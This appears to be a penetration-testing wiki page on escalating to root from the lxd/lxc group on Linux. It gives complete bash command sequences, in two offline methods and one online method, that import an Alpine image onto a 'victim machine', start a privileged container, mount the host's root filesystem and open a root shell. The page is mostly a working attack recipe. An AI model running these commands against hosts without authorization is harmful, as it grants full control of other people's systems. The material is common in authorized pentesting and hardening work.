# lxd/lxc Group - Privilege escalation If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root ## Exploiting without internet ### Method 1 You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\): ```bash #Install requirements sudo apt update sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools #Clone repo sudo go get -d -v github.com/lxc/distrobuilder #Make distrobuilder cd $HOME/go/src/github.com/lxc/distrobuilder make #Prepare the creation of alpine mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml # If that fails, run it adding -o image.release=3.8 at the end. ``` Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs** Add the image: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` Create a container and add root path ```bash lxc init alpine privesc -c security.privileged=true lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` Execute the container: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ### Method 2 Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine sudo ./build-alpine -a i686 # import the image lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail. # before running the image, start and configure the lxd storage pool as default lxd init # run the image lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true # interact with the container lxc start mycontainer lxc exec mycontainer /bin/sh ``` Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd_root) ## With internet You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). ```bash lxc init ubuntu:16.04 test -c security.privileged=true lxc config device add test whatever disk source=/ path=/mnt/root recursive=true lxc start test lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ## Other Refs {% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}